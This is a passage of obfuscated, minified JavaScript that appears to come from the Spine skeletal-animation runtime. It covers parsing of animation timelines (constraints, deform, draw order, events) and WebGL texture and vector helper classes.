_0x5c2c0b(_0x2ba37a, _0x2ba37a, _0x52254b); _0x781365['push'](_0x1af3b7(_0x33a648, _0x393f0c, 0x1, 0x1)); } else { if ('scaley' === _0x8c4aee) { let _0x527bfc = new _0x4dc808(_0x2ba37a, _0x2ba37a, _0x52254b); _0x781365['push'](_0x1af3b7(_0x33a648, _0x527bfc, 0x1, 0x1)); } else { if ('shear' === _0x8c4aee) { let _0x9ad6f7 = new _0x4c274b(_0x2ba37a, _0x2ba37a << 0x1, _0x52254b); _0x781365['push'](_0x2fcc90(_0x33a648, _0x9ad6f7, 'x', 'y', 0x0, 0x1)); } else { if ('shearx' === _0x8c4aee) { let _0x41e079 = new _0x574826(_0x2ba37a, _0x2ba37a, _0x52254b); _0x781365['push'](_0x1af3b7(_0x33a648, _0x41e079, 0x0, 0x1)); } else { if ('sheary' === _0x8c4aee) { let _0x47b8bf = new _0x3d4ca(_0x2ba37a, _0x2ba37a, _0x52254b); _0x781365['push'](_0x1af3b7(_0x33a648, _0x47b8bf, 0x0, 0x1)); } } } } } } } } } } } } } if (_0x46ca5d['ik']) for (let _0x59f7b0 in _0x46ca5d['ik']) { let _0x667809 = _0x46ca5d['ik'][_0x59f7b0], _0x45179e = _0x667809[0x0]; if (!_0x45179e) continue; let _0x209dab = _0x1dda7e['findIkConstraint'](_0x59f7b0); if (!_0x209dab) throw new Error('IK\x20Constraint\x20not\x20found:\x20' + _0x59f7b0); let _0xcab1bf = _0x1dda7e['ikConstraints']['indexOf'](_0x209dab), _0x5a44eb = new _0x5cbe25(_0x667809['length'], _0x667809['length'] << 0x1, _0xcab1bf), _0x4aedad = _0xf797ab(_0x45179e, 'time', 0x0), _0xefa19f = _0xf797ab(_0x45179e, 'mix', 0x1), _0x256a28 = _0xf797ab(_0x45179e, 'softness', 0x0) * _0xe19d66; for (let _0xb80889 = 0x0, _0x1d4630 = 0x0; ; _0xb80889++) { _0x5a44eb['setFrame'](_0xb80889, _0x4aedad, _0xefa19f, _0x256a28, _0xf797ab(_0x45179e, 'bendPositive', !0x0) ? 0x1 : -0x1, _0xf797ab(_0x45179e, 'compress', !0x1), _0xf797ab(_0x45179e, 'stretch', !0x1)); let _0x1a71f1 = _0x667809[_0xb80889 + 0x1]; if (!_0x1a71f1) { _0x5a44eb['shrink'](_0x1d4630); break; } let _0x1cc04f = _0xf797ab(_0x1a71f1, 'time', 0x0), _0x40e557 = _0xf797ab(_0x1a71f1, 'mix', 0x1), _0x39b48a = _0xf797ab(_0x1a71f1, 'softness', 0x0) * _0xe19d66, _0x188e4a = _0x45179e['curve']; _0x188e4a && (_0x1d4630 = _0x1bddeb(_0x188e4a, _0x5a44eb, _0x1d4630, _0xb80889, 0x0, _0x4aedad, _0x1cc04f, _0xefa19f, _0x40e557, 0x1), _0x1d4630 = _0x1bddeb(_0x188e4a, _0x5a44eb, _0x1d4630, _0xb80889, 0x1, _0x4aedad, _0x1cc04f, _0x256a28, _0x39b48a, _0xe19d66)), _0x4aedad = _0x1cc04f, _0xefa19f = _0x40e557, _0x256a28 = _0x39b48a, _0x45179e = _0x1a71f1; } _0x781365['push'](_0x5a44eb); } if (_0x46ca5d['transform']) for (let _0x3e1c21 in _0x46ca5d['transform']) { let _0x34f2e2 = _0x46ca5d['transform'][_0x3e1c21], _0x3d618a = _0x34f2e2[0x0]; if (!_0x3d618a) continue; let _0x42c13a = _0x1dda7e['findTransformConstraint'](_0x3e1c21); if (!_0x42c13a) throw new Error('Transform\x20constraint\x20not\x20found:\x20' + _0x3e1c21); let _0x2e5bbf = _0x1dda7e['transformConstraints']['indexOf'](_0x42c13a), _0x50079e = new _0x47d708(_0x34f2e2['length'], 0x6 * _0x34f2e2['length'], _0x2e5bbf), _0xe583d2 = _0xf797ab(_0x3d618a, 'time', 0x0), _0x333e94 = _0xf797ab(_0x3d618a, 'mixRotate', 0x1), _0x1cb4c5 = _0xf797ab(_0x3d618a, 'mixX', 0x1), _0x35e93b = _0xf797ab(_0x3d618a, 'mixY', _0x1cb4c5), _0x23ae3b = _0xf797ab(_0x3d618a, 'mixScaleX', 0x1), _0x1bde44 = _0xf797ab(_0x3d618a, 'mixScaleY', _0x23ae3b), _0x408fde = _0xf797ab(_0x3d618a, 'mixShearY', 0x1); for (let _0x5e3223 = 0x0, _0x4e320b = 0x0; ; _0x5e3223++) { _0x50079e['setFrame'](_0x5e3223, _0xe583d2, _0x333e94, _0x1cb4c5, _0x35e93b, _0x23ae3b, _0x1bde44, _0x408fde); let _0x1cee41 = _0x34f2e2[_0x5e3223 + 0x1]; if (!_0x1cee41) { _0x50079e['shrink'](_0x4e320b); break; } let _0xd3b7b8 = _0xf797ab(_0x1cee41, 'time', 0x0), _0x44a172 = _0xf797ab(_0x1cee41, 'mixRotate', 0x1), _0x24fafe = _0xf797ab(_0x1cee41, 'mixX', 0x1), _0x5b5e10 = _0xf797ab(_0x1cee41, 'mixY', _0x24fafe), _0x1c5e05 = _0xf797ab(_0x1cee41, 'mixScaleX', 0x1), _0x44ae48 = _0xf797ab(_0x1cee41, 'mixScaleY', _0x1c5e05), _0x5eaec5 = _0xf797ab(_0x1cee41, 'mixShearY', 0x1), _0x2d92b9 = _0x3d618a['curve']; _0x2d92b9 && (_0x4e320b = _0x1bddeb(_0x2d92b9, _0x50079e, _0x4e320b, _0x5e3223, 0x0, _0xe583d2, _0xd3b7b8, _0x333e94, _0x44a172, 0x1), _0x4e320b = _0x1bddeb(_0x2d92b9, _0x50079e, _0x4e320b, _0x5e3223, 0x1, _0xe583d2, _0xd3b7b8, _0x1cb4c5, _0x24fafe, 0x1), _0x4e320b = _0x1bddeb(_0x2d92b9, _0x50079e, _0x4e320b, _0x5e3223, 0x2, _0xe583d2, _0xd3b7b8, _0x35e93b, _0x5b5e10, 0x1), _0x4e320b = _0x1bddeb(_0x2d92b9, _0x50079e, _0x4e320b, _0x5e3223, 0x3, _0xe583d2, _0xd3b7b8, _0x23ae3b, _0x1c5e05, 0x1), _0x4e320b = _0x1bddeb(_0x2d92b9, _0x50079e, _0x4e320b, _0x5e3223, 0x4, _0xe583d2, _0xd3b7b8, _0x1bde44, _0x44ae48, 0x1), _0x4e320b = _0x1bddeb(_0x2d92b9, _0x50079e, _0x4e320b, _0x5e3223, 0x5, _0xe583d2, _0xd3b7b8, _0x408fde, _0x5eaec5, 0x1)), _0xe583d2 = _0xd3b7b8, _0x333e94 = _0x44a172, _0x1cb4c5 = _0x24fafe, _0x35e93b = _0x5b5e10, _0x23ae3b = _0x1c5e05, _0x1bde44 = _0x44ae48, _0x23ae3b = _0x1c5e05, _0x3d618a = _0x1cee41; } _0x781365['push'](_0x50079e); } if (_0x46ca5d['path']) for (let _0x1e7dd5 in _0x46ca5d['path']) { let _0x2355a3 = _0x46ca5d['path'][_0x1e7dd5], _0x272b2a = _0x1dda7e['findPathConstraint'](_0x1e7dd5); if (!_0x272b2a) throw new Error('Path\x20constraint\x20not\x20found:\x20' + _0x1e7dd5); let _0x1ea52d = _0x1dda7e['pathConstraints']['indexOf'](_0x272b2a); for (let _0x5e1f22 in _0x2355a3) { let _0x3a5c90 = _0x2355a3[_0x5e1f22], _0x3bce2b = _0x3a5c90[0x0]; if (!_0x3bce2b) continue; let _0x5b9e0d = _0x3a5c90['length']; if ('position' === _0x5e1f22) { let _0x2f6dee = new _0x2ce15c(_0x5b9e0d, _0x5b9e0d, _0x1ea52d); _0x781365['push'](_0x1af3b7(_0x3a5c90, _0x2f6dee, 0x0, 0x0 == _0x272b2a['positionMode'] ? _0xe19d66 : 0x1)); } else { if ('spacing' === _0x5e1f22) { let _0x1742c2 = new _0x416382(_0x5b9e0d, _0x5b9e0d, _0x1ea52d); _0x781365['push'](_0x1af3b7(_0x3a5c90, _0x1742c2, 0x0, 0x0 == _0x272b2a['spacingMode'] || 0x1 == _0x272b2a['spacingMode'] ? _0xe19d66 : 0x1)); } else { if ('mix' === _0x5e1f22) { let _0x2e6250 = new _0x51fe49(_0x5b9e0d, 0x3 * _0x5b9e0d, _0x1ea52d), _0x2a289c = _0xf797ab(_0x3bce2b, 'time', 0x0), _0x2713c9 = _0xf797ab(_0x3bce2b, 'mixRotate', 0x1), _0x2d5b8c = _0xf797ab(_0x3bce2b, 'mixX', 0x1), _0x3c83e6 = _0xf797ab(_0x3bce2b, 'mixY', _0x2d5b8c); for (let _0x492265 = 0x0, _0x3252cd = 0x0; ; _0x492265++) { _0x2e6250['setFrame'](_0x492265, _0x2a289c, _0x2713c9, _0x2d5b8c, _0x3c83e6); let _0x3732e3 = _0x3a5c90[_0x492265 + 0x1]; if (!_0x3732e3) { _0x2e6250['shrink'](_0x3252cd); break; } let _0x31138b = _0xf797ab(_0x3732e3, 'time', 0x0), _0x141801 = _0xf797ab(_0x3732e3, 'mixRotate', 0x1), _0x1c4f50 = _0xf797ab(_0x3732e3, 'mixX', 0x1), _0x286145 = _0xf797ab(_0x3732e3, 'mixY', _0x1c4f50), _0x13186b = _0x3bce2b['curve']; _0x13186b && (_0x3252cd = _0x1bddeb(_0x13186b, _0x2e6250, _0x3252cd, _0x492265, 0x0, _0x2a289c, _0x31138b, _0x2713c9, _0x141801, 0x1), _0x3252cd = _0x1bddeb(_0x13186b, _0x2e6250, _0x3252cd, _0x492265, 0x1, _0x2a289c, _0x31138b, _0x2d5b8c, _0x1c4f50, 0x1), _0x3252cd = _0x1bddeb(_0x13186b, _0x2e6250, _0x3252cd, _0x492265, 0x2, _0x2a289c, _0x31138b, _0x3c83e6, _0x286145, 0x1)), _0x2a289c = _0x31138b, _0x2713c9 = _0x141801, _0x2d5b8c = _0x1c4f50, _0x3c83e6 = _0x286145, _0x3bce2b = _0x3732e3; } _0x781365['push'](_0x2e6250); } } } } } if (_0x46ca5d['attachments']) for (let _0x4e783f in _0x46ca5d['attachments']) { let _0x3d9a6a = _0x46ca5d['attachments'][_0x4e783f], _0xd87c04 = _0x1dda7e['findSkin'](_0x4e783f); if (!_0xd87c04) throw new Error('Skin\x20not\x20found:\x20' + _0x4e783f); for (let _0x3b2180 in _0x3d9a6a) { let _0x369d2a = _0x3d9a6a[_0x3b2180], _0x530ed1 = _0x1dda7e['findSlot'](_0x3b2180); if (!_0x530ed1) throw new Error('Slot\x20not\x20found:\x20' + _0x3b2180); let _0x207b7c = _0x530ed1['index']; for (let _0x11b1fd in _0x369d2a) { let _0x262671 = _0x369d2a[_0x11b1fd], _0x5bd6d0 = _0xd87c04['getAttachment'](_0x207b7c, _0x11b1fd); for (let _0x170454 in _0x262671) { let _0x7d1cd7 = _0x262671[_0x170454], _0x1e0d37 = _0x7d1cd7[0x0]; if (_0x1e0d37) { if ('deform' == _0x170454) { let _0xa53869 = _0x5bd6d0['bones'], _0x4d1c6a = _0x5bd6d0['vertices'], _0x1b2281 = _0xa53869 ? _0x4d1c6a['length'] / 0x3 * 0x2 : _0x4d1c6a['length'], _0x1dd124 = new _0x92c76c(_0x7d1cd7['length'], _0x7d1cd7['length'], _0x207b7c, _0x5bd6d0), _0x5157b4 = _0xf797ab(_0x1e0d37, 'time', 0x0); for (let _0x7e2b4d = 0x0, _0x491e49 = 0x0; ; _0x7e2b4d++) { let _0x24492a, _0x43938e = _0xf797ab(_0x1e0d37, 'vertices', null); if (_0x43938e) { _0x24492a = _0x5bda80['newFloatArray'](_0x1b2281); let _0x3f7f95 = _0xf797ab(_0x1e0d37, 'offset', 0x0); if (_0x5bda80['arrayCopy'](_0x43938e, 0x0, _0x24492a, _0x3f7f95, _0x43938e['length']), 0x1 != _0xe19d66) { for (let _0x236bb1 = _0x3f7f95, _0x374870 = _0x236bb1 + _0x43938e['length']; _0x236bb1 < _0x374870; _0x236bb1++)_0x24492a[_0x236bb1] *= _0xe19d66; } if (!_0xa53869) { for (let _0x3289c3 = 0x0; _0x3289c3 < _0x1b2281; _0x3289c3++)_0x24492a[_0x3289c3] += _0x4d1c6a[_0x3289c3]; } } else _0x24492a = _0xa53869 ? _0x5bda80['newFloatArray'](_0x1b2281) : _0x4d1c6a; _0x1dd124['setFrame'](_0x7e2b4d, _0x5157b4, _0x24492a); let _0x265563 = _0x7d1cd7[_0x7e2b4d + 0x1]; if (!_0x265563) { _0x1dd124['shrink'](_0x491e49); break; } let _0x5739e3 = _0xf797ab(_0x265563, 'time', 0x0), _0x1c8a12 = _0x1e0d37['curve']; _0x1c8a12 && (_0x491e49 = _0x1bddeb(_0x1c8a12, _0x1dd124, _0x491e49, _0x7e2b4d, 0x0, _0x5157b4, _0x5739e3, 0x0, 0x1, 0x1)), _0x5157b4 = _0x5739e3, _0x1e0d37 = _0x265563; } _0x781365['push'](_0x1dd124); } else { if ('sequence' == _0x170454) { let _0x22f544 = new _0x247f55(_0x7d1cd7['length'], _0x207b7c, _0x5bd6d0), _0x1c4d5b = 0x0; for (let _0x5421b4 = 0x0; _0x5421b4 < _0x7d1cd7['length']; _0x5421b4++) { let _0xb16e98 = _0xf797ab(_0x1e0d37, 'delay', _0x1c4d5b), _0x4188a7 = _0xf797ab(_0x1e0d37, 'time', 0x0), _0x21e808 = _0x2565a5[_0xf797ab(_0x1e0d37, 'mode', 'hold')], _0x1b5c0e = _0xf797ab(_0x1e0d37, 'index', 0x0); _0x22f544['setFrame'](_0x5421b4, _0x4188a7, _0x21e808, _0x1b5c0e, _0xb16e98), _0x1c4d5b = _0xb16e98, _0x1e0d37 = _0x7d1cd7[_0x5421b4 + 0x1]; } _0x781365['push'](_0x22f544); } } } } } } } if (_0x46ca5d['drawOrder']) { let _0x43a1e0 = new _0x19ad43(_0x46ca5d['drawOrder']['length']), _0xd367ef = _0x1dda7e['slots']['length'], _0x4a4e19 = 0x0; for (let _0x22f005 = 0x0; _0x22f005 < _0x46ca5d['drawOrder']['length']; _0x22f005++, _0x4a4e19++) { let _0xe1cdcd = _0x46ca5d['drawOrder'][_0x22f005], _0x2bf715 = null, _0x5a0625 = _0xf797ab(_0xe1cdcd, 'offsets', null); if (_0x5a0625) { _0x2bf715 = _0x5bda80['newArray'](_0xd367ef, -0x1); let _0x2ad699 = _0x5bda80['newArray'](_0xd367ef - _0x5a0625['length'], 0x0), _0x558710 = 0x0, _0x53fe12 = 0x0; for (let _0x29fee1 = 0x0; _0x29fee1 < _0x5a0625['length']; _0x29fee1++) { let _0x541aa0 = _0x5a0625[_0x29fee1], _0x584bde = _0x1dda7e['findSlot'](_0x541aa0['slot']); if (!_0x584bde) throw new Error('Slot\x20not\x20found:\x20' + _0x584bde); let _0x2346fe = _0x584bde['index']; for (; _0x558710 != _0x2346fe;)_0x2ad699[_0x53fe12++] = _0x558710++; _0x2bf715[_0x558710 + _0x541aa0['offset']] = _0x558710++; } for (; _0x558710 < _0xd367ef;)_0x2ad699[_0x53fe12++] = _0x558710++; for (let _0x4ed815 = _0xd367ef - 0x1; _0x4ed815 >= 0x0; _0x4ed815--)-0x1 == _0x2bf715[_0x4ed815] && (_0x2bf715[_0x4ed815] = _0x2ad699[--_0x53fe12]); } _0x43a1e0['setFrame'](_0x4a4e19, _0xf797ab(_0xe1cdcd, 'time', 0x0), _0x2bf715); } _0x781365['push'](_0x43a1e0); } if (_0x46ca5d['events']) { let _0x5d1949 = new _0x10fcbe(_0x46ca5d['events']['length']), _0x21b67c = 0x0; for (let _0x4729b5 = 0x0; _0x4729b5 < _0x46ca5d['events']['length']; _0x4729b5++, _0x21b67c++) { let _0x400432 = _0x46ca5d['events'][_0x4729b5], _0x20a7d3 = _0x1dda7e['findEvent'](_0x400432['name']); if (!_0x20a7d3) throw new Error('Event\x20not\x20found:\x20' + _0x400432['name']); let _0x488437 = new _0x49644a(_0x5bda80['toSinglePrecision'](_0xf797ab(_0x400432, 'time', 0x0)), _0x20a7d3); _0x488437['intValue'] = _0xf797ab(_0x400432, 'int', _0x20a7d3['intValue']), _0x488437['floatValue'] = _0xf797ab(_0x400432, 'float', _0x20a7d3['floatValue']), _0x488437['stringValue'] = _0xf797ab(_0x400432, 'string', _0x20a7d3['stringValue']), _0x488437['data']['audioPath'] && (_0x488437['volume'] = _0xf797ab(_0x400432, 'volume', 0x1), _0x488437['balance'] = _0xf797ab(_0x400432, 'balance', 0x0)), _0x5d1949['setFrame'](_0x21b67c, _0x488437); } _0x781365['push'](_0x5d1949); } let _0x4ad621 = 0x0; for (let _0x18f073 = 0x0, _0x37a5a0 = _0x781365['length']; _0x18f073 < _0x37a5a0; _0x18f073++)_0x4ad621 = Math['max'](_0x4ad621, _0x781365[_0x18f073]['getDuration']()); _0x1dda7e['animations']['push'](new _0x3de812(_0x3a705f, _0x781365, _0x4ad621)); } }, _0xefadd5 = class { constructor(_0x3b1438, _0x2c6d0c, _0x396314, _0xcee0dd, _0x4255ee) { this['mesh'] = _0x3b1438, this['skin'] = _0x2c6d0c, this['slotIndex'] = _0x396314, this['parent'] = _0xcee0dd, this['inheritTimeline'] = _0x4255ee; } }; function _0x1af3b7(_0x3dff92, _0x530b4d, _0x5da6f9, _0xe13489) { let _0x3d167a = _0x3dff92[0x0], _0x200ba0 = _0xf797ab(_0x3d167a, 'time', 0x0), _0x58ddd4 = _0xf797ab(_0x3d167a, 'value', _0x5da6f9) * _0xe13489, _0x35c8c3 = 0x0; for (let _0x473873 = 0x0; ; _0x473873++) { _0x530b4d['setFrame'](_0x473873, _0x200ba0, _0x58ddd4); let _0x5ce808 = _0x3dff92[_0x473873 + 0x1]; if (!_0x5ce808) return _0x530b4d['shrink'](_0x35c8c3), _0x530b4d; let _0x26a419 = _0xf797ab(_0x5ce808, 'time', 0x0), _0x976a82 = _0xf797ab(_0x5ce808, 'value', _0x5da6f9) * _0xe13489; _0x3d167a['curve'] && (_0x35c8c3 = _0x1bddeb(_0x3d167a['curve'], _0x530b4d, _0x35c8c3, _0x473873, 0x0, _0x200ba0, _0x26a419, _0x58ddd4, _0x976a82, _0xe13489)), _0x200ba0 = _0x26a419, _0x58ddd4 = _0x976a82, _0x3d167a = _0x5ce808; } } function _0x2fcc90(_0xf42780, _0x3ff891, _0x5026ac, _0x78aacf, _0xbc57a4, _0x533205) { let _0x428ef2 = _0xf42780[0x0], _0x3d3c62 = _0xf797ab(_0x428ef2, 'time', 0x0), _0x255029 = _0xf797ab(_0x428ef2, _0x5026ac, _0xbc57a4) * _0x533205, _0x147d3d = _0xf797ab(_0x428ef2, _0x78aacf, _0xbc57a4) * _0x533205, _0x3ded75 = 0x0; for (let _0xd8fd8f = 0x0; ; _0xd8fd8f++) { _0x3ff891['setFrame'](_0xd8fd8f, _0x3d3c62, _0x255029, _0x147d3d); let _0x13d831 = _0xf42780[_0xd8fd8f + 0x1]; if (!_0x13d831) return _0x3ff891['shrink'](_0x3ded75), _0x3ff891; let _0x375317 = _0xf797ab(_0x13d831, 'time', 0x0), _0x307325 = _0xf797ab(_0x13d831, _0x5026ac, _0xbc57a4) * _0x533205, _0x5c52e6 = _0xf797ab(_0x13d831, _0x78aacf, _0xbc57a4) * _0x533205, _0x3630fd = _0x428ef2['curve']; _0x3630fd && (_0x3ded75 = _0x1bddeb(_0x3630fd, _0x3ff891, _0x3ded75, _0xd8fd8f, 0x0, _0x3d3c62, _0x375317, _0x255029, _0x307325, _0x533205), _0x3ded75 = _0x1bddeb(_0x3630fd, _0x3ff891, _0x3ded75, _0xd8fd8f, 0x1, _0x3d3c62, _0x375317, _0x147d3d, _0x5c52e6, _0x533205)), _0x3d3c62 = _0x375317, _0x255029 = _0x307325, _0x147d3d = _0x5c52e6, _0x428ef2 = _0x13d831; } } function _0x1bddeb(_0x400f0a, _0x388ca7, _0x4d4886, _0xd6fb3d, _0x27d0d7, _0x4a459b, _0x602ee9, _0x2ba203, _0xe47fae, _0x153310) { if ('stepped' == _0x400f0a) return _0x388ca7['setStepped'](_0xd6fb3d), _0x4d4886; let _0x4f26f4 = _0x27d0d7 << 0x2, _0x48f212 = _0x400f0a[_0x4f26f4], _0x5476c7 = _0x400f0a[_0x4f26f4 + 0x1] * _0x153310, _0x32304b = _0x400f0a[_0x4f26f4 + 0x2], _0x318658 = _0x400f0a[_0x4f26f4 + 0x3] * _0x153310; return _0x388ca7['setBezier'](_0x4d4886, _0xd6fb3d, _0x27d0d7, _0x4a459b, _0x2ba203, _0x48f212, _0x5476c7, _0x32304b, _0x318658, _0x602ee9, _0xe47fae), _0x4d4886 + 0x1; } function _0xf797ab(_0x538860, _0x3e26b5, _0x57c94c) { return void 0x0 !== _0x538860[_0x3e26b5] ? _0x538860[_0x3e26b5] : _0x57c94c; } void 0x0 === Math['fround'] && (Math['fround'] = (_0x1115aa = new Float32Array(0x1), function (_0x25b675) { return _0x1115aa[0x0] = _0x25b675, _0x1115aa[0x0]; })); var _0x48af2d = class { constructor(_0x5de04f, _0x4d9330 = { 'alpha': 'true' }) { if (this['restorables'] = new Array(), _0x5de04f instanceof WebGLRenderingContext || 'undefined' != typeof WebGL2RenderingContext && _0x5de04f instanceof WebGL2RenderingContext) this['gl'] = _0x5de04f, this['canvas'] = this['gl']['canvas']; else { let _0x421951 = _0x5de04f; this['gl'] = _0x421951['getContext']('webgl2', _0x4d9330) || _0x421951['getContext']('webgl', _0x4d9330), this['canvas'] = _0x421951, _0x421951['addEventListener']('webglcontextlost', _0x1ada05 => { _0x1ada05 && _0x1ada05['preventDefault'](); }), _0x421951['addEventListener']('webglcontextrestored', _0x1e9a1b => { for (let _0x31eebd = 0x0, _0x5984ff = this['restorables']['length']; _0x31eebd < _0x5984ff; _0x31eebd++)this['restorables'][_0x31eebd]['restore'](); }); } } ['addRestorable'](_0x42c099) { this['restorables']['push'](_0x42c099); } ['removeRestorable'](_0x3e3753) { let _0x19b9a3 = this['restorables']['indexOf'](_0x3e3753); _0x19b9a3 > -0x1 && this['restorables']['splice'](_0x19b9a3, 0x1); } }, _0x3869e1 = 0x303, _0x364f31 = class { static ['getDestGLBlendMode'](_0x44d81f) { switch (_0x44d81f) { case 0x0: case 0x2: case 0x3: return _0x3869e1; case 0x1: return 0x1; default: throw new Error('Unknown\x20blend\x20mode:\x20' + _0x44d81f); } } static ['getSourceColorGLBlendMode'](_0x3f8839, _0x226341 = !0x1) { switch (_0x3f8839) { case 0x0: case 0x1: return _0x226341 ? 0x1 : 0x302; case 0x2: return 0x306; case 0x3: return 0x1; default: throw new Error('Unknown\x20blend\x20mode:\x20' + _0x3f8839); } } static ['getSourceAlphaGLBlendMode'](_0x35512c) { switch (_0x35512c) { case 0x0: case 0x1: return 0x1; case 0x2: return _0x3869e1; case 0x3: return 0x301; default: throw new Error('Unknown\x20blend\x20mode:\x20' + _0x35512c); } } }, _0x3cc303 = class extends _0x24d14b { constructor(_0x3a6fe7, _0x2c9ca6, _0x466899 = !0x1) { super(_0x2c9ca6), this['texture'] = null, this['boundUnit'] = 0x0, this['useMipMaps'] = !0x1, this['context'] = _0x3a6fe7 instanceof _0x48af2d ? _0x3a6fe7 : new _0x48af2d(_0x3a6fe7), this['useMipMaps'] = _0x466899, this['restore'](), this['context']['addRestorable'](this); } ['setFilters'](_0x5c5c8c, _0x8dea6e) { let _0x4246eb = this['context']['gl']; this['bind'](), _0x4246eb['texParameteri'](_0x4246eb['TEXTURE_2D'], _0x4246eb['TEXTURE_MIN_FILTER'], _0x5c5c8c), _0x4246eb['texParameteri'](_0x4246eb['TEXTURE_2D'], _0x4246eb['TEXTURE_MAG_FILTER'], _0x3cc303['validateMagFilter'](_0x8dea6e)), this['useMipMaps'] = _0x3cc303['usesMipMaps'](_0x5c5c8c), this['useMipMaps'] && _0x4246eb['generateMipmap'](_0x4246eb['TEXTURE_2D']); } static ['validateMagFilter'](_0x3dc49e) { switch (_0x3dc49e) { case 0x2703: case 0x2703: case 0x2701: case 0x2702: case 0x2700: return 0x2601; default: return _0x3dc49e; } } static ['usesMipMaps'](_0x3b7a9f) { switch (_0x3b7a9f) { case 0x2703: case 0x2703: case 0x2701: case 0x2702: case 0x2700: return !0x0; default: return !0x1; } } ['setWraps'](_0x19b5af, _0x589693) { let _0x53ad72 = this['context']['gl']; this['bind'](), _0x53ad72['texParameteri'](_0x53ad72['TEXTURE_2D'], _0x53ad72['TEXTURE_WRAP_S'], _0x19b5af), _0x53ad72['texParameteri'](_0x53ad72['TEXTURE_2D'], _0x53ad72['TEXTURE_WRAP_T'], _0x589693); } ['update'](_0x1084c4) { let _0x5ca9fe = this['context']['gl']; this['texture'] || (this['texture'] = this['context']['gl']['createTexture']()), this['bind'](), _0x3cc303['DISABLE_UNPACK_PREMULTIPLIED_ALPHA_WEBGL'] && _0x5ca9fe['pixelStorei'](_0x5ca9fe['UNPACK_PREMULTIPLY_ALPHA_WEBGL'], !0x1), _0x5ca9fe['texImage2D'](_0x5ca9fe['TEXTURE_2D'], 0x0, _0x5ca9fe['RGBA'], _0x5ca9fe['RGBA'], _0x5ca9fe['UNSIGNED_BYTE'], this['_image']), _0x5ca9fe['texParameteri'](_0x5ca9fe['TEXTURE_2D'], _0x5ca9fe['TEXTURE_MAG_FILTER'], _0x5ca9fe['LINEAR']), _0x5ca9fe['texParameteri'](_0x5ca9fe['TEXTURE_2D'], _0x5ca9fe['TEXTURE_MIN_FILTER'], _0x1084c4 ? _0x5ca9fe['LINEAR_MIPMAP_LINEAR'] : _0x5ca9fe['LINEAR']), _0x5ca9fe['texParameteri'](_0x5ca9fe['TEXTURE_2D'], _0x5ca9fe['TEXTURE_WRAP_S'], _0x5ca9fe['CLAMP_TO_EDGE']), _0x5ca9fe['texParameteri'](_0x5ca9fe['TEXTURE_2D'], _0x5ca9fe['TEXTURE_WRAP_T'], _0x5ca9fe['CLAMP_TO_EDGE']), _0x1084c4 && _0x5ca9fe['generateMipmap'](_0x5ca9fe['TEXTURE_2D']); } ['restore']() { this['texture'] = null, this['update'](this['useMipMaps']); } ['bind'](_0x247e7c = 0x0) { let _0x8d7857 = this['context']['gl']; this['boundUnit'] = _0x247e7c, _0x8d7857['activeTexture'](_0x8d7857['TEXTURE0'] + _0x247e7c), _0x8d7857['bindTexture'](_0x8d7857['TEXTURE_2D'], this['texture']); } ['unbind']() { let _0x56479c = this['context']['gl']; _0x56479c['activeTexture'](_0x56479c['TEXTURE0'] + this['boundUnit']), _0x56479c['bindTexture'](_0x56479c['TEXTURE_2D'], null); } ['dispose']() { this['context']['removeRestorable'](this), this['context']['gl']['deleteTexture'](this['texture']); } }, _0x3f7b11 = _0x3cc303; _0x3f7b11['DISABLE_UNPACK_PREMULTIPLIED_ALPHA_WEBGL'] = !0x1; var _0x2b27f7 = class extends _0x164ade { constructor(_0x77e764, _0x23e0c1 = '', _0x158779 = new _0x24200b()) { super(_0x282f92 => new _0x3f7b11(_0x77e764, _0x282f92), _0x23e0c1, _0x158779); } }, _0x5917a2 = class { constructor(_0x5c91f5 = 0x0, _0x5346fc = 0x0, _0x540ff3 = 0x0) { this['x'] = 0x0, this['y'] = 0x0, this['z'] = 0x0, this['x'] = _0x5c91f5, this['y'] = _0x5346fc, this['z'] = _0x540ff3; } ['setFrom'](_0x1c59b5) { return this['x'] = _0x1c59b5['x'], this['y'] = _0x1c59b5['y'], this['z'] = _0x1c59b5['z'], this; } ['set'](_0x2a3fd8, _0x2d15ad, _0x2defca) { return this['x'] = _0x2a3fd8, this['y'] = _0x2d15ad, this['z'] = _0x2defca, this; } ['add'](_0x4a6f78) { return this['x'] += _0x4a6f78['x'], this['y'] += _0x4a6f78['y'], this['z'] += _0x4a6f78['z'], this; } ['sub'](_0x3c2bb8) { return this['x'] -= _0x3c2bb8['x'], this['y'] -= _0x3c2bb8['y'], this['z'] -= _0x3c2bb8['z'], this; } ['scale'](_0xa62e58) { return this['x'] *= _0xa62e58, this['y'] *= _0xa62e58, this['z'] *= _0xa62e58, this; } ['normalize']() { let _0x2a810b = this['length'](); return 0x0 == _0x2a810b || (_0x2a810b = 0x1 / _0x2a810b, this['x'] *= _0x2a810b, this['y'] *= _0x2a810b, this['z'] *= _0x2a810b), this; } ['cross'](_0x2dfe03) { return this['set'](this['y'] * _0x2dfe03['z'] - this['z'] * _0x2dfe03['y'], this['z'] * _0x2dfe03['x'] - this['x'] * _0x2dfe03['z'], this['x'] * _0x2dfe03['y'] - this['y'] * _0x2dfe03['x']); } ['multiply'](_0x5426b2) { let _0x1697fb = _0x5426b2['values']; return this['set'](this['x'] * _0x1697fb[_0x25d618] + this['y'] * _0x1697fb[_0x55d0aa] + this['z'] * _0x1697fb[_0x2b46b3] + _0x1697fb[_0x3dff38], this['x'] * _0x1697fb[_0x25d647] + this['y'] * _0x1697fb[_0x2ab09b] + this['z'] * _0x1697fb[_0x558473] + _0x1697fb[_0x2e74be], this['x'] * _0x1697fb[_0x3a218a] + this['y'] * _0x1697fb[_0x17b526] + this['z'] * _0x1697fb[_0x419787] + _0x1697fb[_0x39725b]); } ['project'](_0x5ae929) { let _0x17c346 = _0x5ae929['values'], _0x14873e = 0x1 / (this['x'] * _0x17c346[_0x5dbca2] + this['y'] * _0x17c346[_0x2c4831] + this['z'] * _0x17c346[_0x3b4601] + _0x17c346[_0x1780e3]); return this['set']((this['x'] * _0x17c346[_0x25d618] + this['y'] * _0x17c346[_0x55d0aa] + this['z'] * _0x17c346[_0x2b46b3] + _0x17c346[_0x3dff38]) * _0x14873e, (this['x'] * _0x17c346[_0x25d647] + this['y'] * _0x17c346[_0x2ab09b] + this['z'] * _0x17c346[_0x558473] + _0x17c346[_0x2e74be]) * _0x14873e, (this['x'] * _0x17c346[_0x3a218a] + this['y'] * _0x17c346[_0x17b526] + this['z'] * _0x17c346[_0x419787] + _0x17c346[_0x39725b]) * _0x14873e); } ['dot'](_0x42d527) { return this['x'] * _0x42d527['x'] + this['y'] * _0x42d527['y'] + this['z'] * _0x42d527['z']; } ['length']() { return Math['sqrt'](this['x'] * this['x'] + this['y'] * 